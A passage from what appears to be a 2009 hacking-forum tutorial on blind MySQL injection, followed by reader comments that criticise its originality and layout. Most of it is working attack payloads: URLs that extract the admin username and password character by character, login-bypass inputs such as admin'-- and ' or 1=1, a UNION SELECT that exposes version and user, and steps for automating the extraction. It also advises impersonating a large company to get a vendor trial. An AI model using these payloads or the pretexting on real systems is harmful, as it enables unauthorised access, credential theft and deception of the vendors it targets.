http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=96 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=97 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=98 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=99 #true




Code
mysql> select char(97, 100, 109, 105, 110, 58, 115, 101, 99);
+------------------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115, 101, 99) |
+------------------------------------------------+
| admin:sec |
+------------------------------------------------+
1 row in set (0.00 sec)




Code
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>110 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>120 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>115 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=111 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=112 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=113 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=114 #true




Code
mysql> select char(97, 100, 109, 105, 110, 58, 115, 101, 99, 114);
+-----------------------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115, 101, 99, 114) |
+-----------------------------------------------------+
| admin:secr |
+-----------------------------------------------------+
1 row in set (0.00 sec)




alright, i guess the idea is clear. The password i thought about is 'secret'.

What if you see a login box? You don't have a user so lets see if it is in any way vulnerable. The idea is that you bypass the where password part a possible mysql request could be:

select username, password from users where username='\''.$user.'\'' && password='\''.$password.'\''
but what if the user variable contains -- or # to comment the rest of the query away? The $user is user controlled, so it should not be a problem right?
examples:
Code
select username, password from users where username=''admin'--'' && password='doesnt matter''
select username, password from users where username=''admin'#'' && password='doesnt matter''
select username, password from users where username=''admin'/*'' && password='doesnt matter''
select username, password from users where username=''admin' or 1=1--'' && password='doesnt matter''
select username, password from users where username=''admin' or 1=1#'' && password='doesnt matter''
select username, password from users where username=''admin' or 1=1/*'' && password='doesnt matter''
select username, password from users where username=''admin') or '1'='1--'' && password='doesnt matter''
select username, password from users where username=''admin') or ('1'='1--'' && password='doesnt matter''




Why not see this as a blind sql injection? You log in so you got a returned true thing, you don't log in so something is false.
For example: by using this user it will log you in:
admin' AND 1=1--
and here not:
admin' AND 1=2--
So by logging in with this
admin' AND ascii(substring((select user from mysql.user limit 0,1), 1, 1))>0--
you will know if you are having a lot of rights. From here you can go on with the normal technique of exploiting it. Here is also a good example that sql injections occur in POST and GET requests.
Tamper data and LiveHTTPHeaders are 2 good firefox add ons that can help you with this.
Tamper data: https://addons.mozilla.org/en-US/firefox/addon/966
LiveHTTPHeaders: https://addons.mozilla.org/en-US/firefox/addon/3829

Next situation:
Code
?page=home
select * from pages where page='home'




Code
?page=home' AND substring(version, 1, 1)=4 AND ''='
select * from pages where page='home' AND substring(version, 1, 1)=4 AND ''=''




Next situation:

/articles/catergory/2
mod_rewritten obscured, no problem!
http://www.archive.org/index.php
Will give you information what it was before it was mod_rewritten ;), also if you got a cheap cms it will be easy to find it out, call the vendor, tell them you are from a big local company and want to get a 10 day trial, well this actually is a general advise if you got a closed source commercial cms. Just try to get a trial, be sure you talk with a serious voice and make sure you are talking as if you are from a big company and know what division will need the product. They will probably have a test environment and you will get instant access within minutes. If you got an open source product then just download it off-line, screen the source and hope you can find anything, in both cases first look through the general exploits for the specific cms on sites like securityfocus, milw0rm and google. You can also just see if the .htaccess file is readable for you ;).

A possible solution for the mod_rewrite here could be:
Code
?page=articles&cat=2
?page=articles&cat=-1 union all select 1,2,3,version(),user(),database(),7,8--




basics of automating the process language wide it consists of the following steps:
open the url
see how long the length of the opened content is
determine a breakpoint for the length difference of the amount of characters on every page
loop through the characters
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))=(loop this)
if you found it increment the character and let the looping character be back to 0
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=0
echo the output every time and ta da, automated the process, i would advise to make an algorithm and not sending every single character, work with > and < and things like that in the algorithm, it does support it so why don't use it? ;)

Cookies are often vulnerable for mysql injections, a lot of web applications let you automatically log in when you revisit a website based on your cookies. This also requires the process of looking in the database if your cookie is having the right values to pass.

There are also programs available to help you on your way in blind injecting, sqlmap is a quite good one but i would advise you to learn it on your own without other programs besides your browser.

Just keep your eyes open and i am sure you will find a lot of sql vulnerabilities

Comments

spywareon July 06 2009 - 11:33:29
Long, but written pretty crappy. Getting the feeling you leeched a few sources and merged different whitepapers to write this.
jelmeron July 06 2009 - 13:08:49
ok, can you tell me where it becomes 'crappy'? i burned my sunday writing this paper and i did an attempt to show all sides of the story. And where starts the leeching?
spywareon July 06 2009 - 15:11:46
http://www.go4expert.com/forums/printthread.php?t=11841
DarkMantison July 06 2009 - 15:46:30
http://milw0rm.com/papers/202 <- also. But its a good paper. It does explain a lot.
fuseron July 06 2009 - 17:01:31
quite a long paper, at least it explains everything in one go.
jelmeron July 06 2009 - 17:20:13
I knew the milw0rm, nice one, the go4expert is also good i see, explains it nice, i actually see a lot of the same in both papers, its about the same subject so i think it is not strange that a lot is the same. About my manuscript, i am not native English, tell me where i made big mistakes and i will change it.
spywareon July 06 2009 - 18:01:18
It's not really the spelling/grammar that bothers me, it's just that the lay-out is hideous. I know that HBH has a crappy format... you might try creating a nicely-formatted PDF, and uploading that.
jelmeron July 06 2009 - 23:45:30
updated it, i would like to make a PDF and upload it, but where can i upload it on hbh? Or shall i just give a good link?
lostpacketon July 07 2009 - 20:07:51
I voted awsome because it was so. Screw the whole formatting thing. The information inside was easy to understand and well sequenced. Grin
spywareon July 08 2009 - 00:47:50
Technique by example as opposed to technique by knowledge; it will catch up with you, and you'll be cursing at yourself.
mestaron July 09 2009 - 23:38:00
if this isn't copy/paste work, then congratz real effort was made here, but i think a bit useless, since explanation for this subject can be found on many different sites, if you have the will to write ,find some topics that aren't so often
S1L3NTKn1GhTon July 10 2009 - 03:00:20
I'd have to agree with spy it seems mooched off alot of other sources. Its also a pretty common topic and not well structured, otherwise fair information.
korgon July 10 2009 - 07:49:47
Basic info that has been covered over and over. Good effort put into it though. 6/10.
stealth-on July 12 2009 - 23:28:17
I enjoyed it. Yes, it seems like just a rewrite of other papers on the subject, and there are already way more papers out there on it, but its much better than some of the other crap I've read on this site.
Post Comment

Sorry.

You must have completed the challenge Basic 1 and have 100 points or more, to be able to post.